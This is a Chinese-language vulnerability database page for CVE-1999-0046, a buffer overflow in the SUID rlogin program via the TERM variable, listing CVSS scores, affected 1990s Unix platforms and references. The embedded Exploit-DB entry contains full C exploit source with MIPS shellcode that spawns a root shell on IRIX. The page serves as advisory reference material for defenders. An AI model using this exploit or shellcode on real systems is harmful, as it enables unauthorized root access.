CVE-1999-0046
CVSS10.0
发布时间 :1997-02-06 00:00:00
修订时间 :2008-09-09 08:33:36
NMCOE    

[原文]Buffer overflow of rlogin program using TERM environmental variable.


[CNNVD]rlogin TERM缓冲区溢出漏洞(CNNVD-199702-008)

        使用TERM环境变量的rlogin程序存在缓冲区溢出漏洞。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:data_general:dg_ux:2.0
cpe:/o:hp:hp-ux:10.24HP HP-UX 10.24
cpe:/o:debian:debian_linux:0.93Debian Debian Linux 0.93
cpe:/o:netbsd:netbsd:1.1NetBSD 1.1
cpe:/o:sun:solaris:2.5::x86
cpe:/o:digital:ultrix:3.0
cpe:/o:next:nextstep:3.1
cpe:/o:bsdi:bsd_os:2.1
cpe:/o:next:nextstep:4.0
cpe:/o:ibm:aix:4.1.4IBM AIX 4.1.4
cpe:/o:digital:unix:4.0a
cpe:/o:freebsd:freebsd:2.0.5FreeBSD 2.0.5
cpe:/o:sun:sunos:4.1.4Sun SunOS 4.1.4
cpe:/o:next:nextstep:3.0
cpe:/a:data_general:dg_ux:3.0
cpe:/o:freebsd:freebsd:2.1.0FreeBSD 2.1.0
cpe:/o:digital:unix:4.0
cpe:/o:digital:unix:3.2g
cpe:/o:sun:solaris:2.4
cpe:/o:hp:hp-ux:10.08HP HP-UX 10.8
cpe:/o:hp:hp-ux:10.00HP HP-UX 10.00
cpe:/o:hp:hp-ux:10.20HP HP-UX 10.20
cpe:/o:sun:solaris:2.4::x86
cpe:/o:ibm:aix:4.1.3IBM AIX 4.1.3
cpe:/o:sun:solaris:2.5.1::ppc
cpe:/o:hp:hp-ux:10.09HP HP-UX 10.9
cpe:/o:next:nextstep:3.2
cpe:/o:sun:solaris:2.3
cpe:/o:hp:hp-ux:10.10HP HP-UX 10.10
cpe:/o:hp:hp-ux:10.34HP HP-UX 10.34
cpe:/o:freebsd:freebsd:2.0FreeBSD 2.0
cpe:/a:data_general:dg_ux:1.0
cpe:/o:hp:hp-ux:10.01HP HP-UX 10.01
cpe:/o:freebsd:freebsd:1.1.5.1FreeBSD 1.1.5.1
cpe:/o:next:nextstep:1.0
cpe:/o:sun:solaris:2.5
cpe:/o:digital:ultrix:4.2
cpe:/o:hp:hp-ux:10.16HP HP-UX 10.16
cpe:/o:ibm:aix:4.1.2IBM AIX 4.1.2
cpe:/o:next:nextstep:3.3
cpe:/o:next:nextstep:2.0
cpe:/o:next:nextstep:1.0a
cpe:/o:bsdi:bsd_os:2.0
cpe:/o:sun:solaris:2.5.1
cpe:/o:digital:ultrix:4.3a
cpe:/o:digital:ultrix:2.2
cpe:/o:sun:sunos:4.1.3u1Sun SunOS 4.1.3u1
cpe:/o:hp:hp-ux:10.30HP HP-UX 10.30
cpe:/o:digital:unix:4.0b
cpe:/o:bsdi:bsd_os:1.1
cpe:/o:ibm:aix:4.1.5IBM AIX 4.1.5
cpe:/a:data_general:dg_ux:4.0
cpe:/o:bsdi:bsd_os:2.0.1
cpe:/o:next:nextstep:2.1
cpe:/o:netbsd:netbsd:1.0NetBSD 1.0
cpe:/o:digital:ultrix:4.0
cpe:/o:digital:ultrix:4.4
cpe:/o:digital:ultrix:4.3
cpe:/o:freebsd:freebsd:2.1.5FreeBSD 2.1.5
cpe:/o:ibm:aix:3.2IBM AIX 3.2
cpe:/o:ibm:aix:4.1IBM AIX 4.1
cpe:/o:digital:ultrix:4.5
cpe:/o:sun:solaris:2.5.1::x86
cpe:/o:digital:ultrix:4.1
cpe:/o:ibm:aix:4.1.1IBM AIX 4.1.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0046
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0046
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199702-008
(官方数据源) CNNVD

- 其它链接及资源

- 漏洞信息

rlogin TERM缓冲区溢出漏洞
危急 缓冲区溢出
1997-02-06 00:00:00 2005-05-02 00:00:00
远程  
        使用TERM环境变量的rlogin程序存在缓冲区溢出漏洞。

- 公告与补丁

        

- 漏洞信息 (19203)

BSD/OS <= 2.1,DG/UX <= 4.0,Debian Linux 0.93,Digital UNIX <= 4.0 B,FreeBSD <= 2.1.5,HP-UX <= 10.34,IBM AIX <= 4.1.5,NetBSD 1.0/1.1,NeXTstep <= 4.0, SGI IRIX <= 6.3,SunOS <= 4.1.4 rlogin Vulnerability (EDBID:19203)
unix local
1996-12-04 Verified
0 Roger Espel Llima
N/A [点击下载]
source: http://www.securityfocus.com/bid/242/info


The SUID rlogin program is used to establish remote sessions. A buffer overflow condition has been found in the rlogin program that may allow an unauthorized user to gain root access. The overflow in particular is in the rlogin code that handles the TERM enviroment variable. Similar bugs have been known to exist in some telnetd implementations.

NOTE:

The vulnerability was updated august 2, 2000 to reflect certain versions of IRIX to be vulnerable.

                /*## copyright LAST STAGE OF DELIRIUM oct 1997 poland        *://lsd-pl.net/ #*/
                /*## /usr/bsd/rlogin                                                         #*/

                #define NOPNUM 4940
                #define ADRNUM 5000 
                #define ALLIGN 2

                char shellcode[]=
                    "\x04\x10\xff\xff"    /* bltzal  $zero,<shellcode>    */
                    "\x24\x02\x03\xf3"    /* li      $v0,1011             */
                    "\x23\xff\x01\x14"    /* addi    $ra,$ra,276          */
                    "\x23\xe4\xff\x08"    /* addi    $a0,$ra,-248         */
                    "\x23\xe5\xff\x10"    /* addi    $a1,$ra,-240         */
                    "\xaf\xe4\xff\x10"    /* sw      $a0,-240($ra)        */
                    "\xaf\xe0\xff\x14"    /* sw      $zero,-236($ra)      */
                    "\xa3\xe0\xff\x0f"    /* sb      $zero,-241($ra)      */
                    "\x03\xff\xff\xcc"    /* syscall                      */
                    "/bin/sh"
                ;

                char jump[]=
                    "\x03\xa0\x10\x25"    /* move    $v0,$sp              */
                    "\x03\xe0\x00\x08"    /* jr      $ra                  */
                ;

                char nop[]="\x24\x0f\x12\x34";

                main(int argc,char **argv){
                    char buffer[10000],adr[4],*b,*envp[2];
                    int i;

                    printf("copyright LAST STAGE OF DELIRIUM oct 1997 poland  //lsd-pl.net/\n");
                    printf("/usr/bsd/rlogin for irix 5.2 5.3 6.2 6.3 IP:17,19,20,21,22,32\n\n");

                    *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10288+7000;

                    envp[0]=buffer;
                    envp[1]=0;

                    b=buffer;
                    sprintf(b,"TERM=");
                    b+=5;
                    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
                    for(i=0;i<ALLIGN;i++) *b++=0xff;
                    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
                    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; 
                    *b=0;

                    execle("/usr/bsd/rlogin","rlogin","localhost",0,envp);
	}
		

- 漏洞信息

951
Multiple Vendor rlogin TERM Variable Overflow
Input Manipulation
Loss of Integrity

- 漏洞描述

- 时间线

1996-10-01 Unknow
Unknow Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站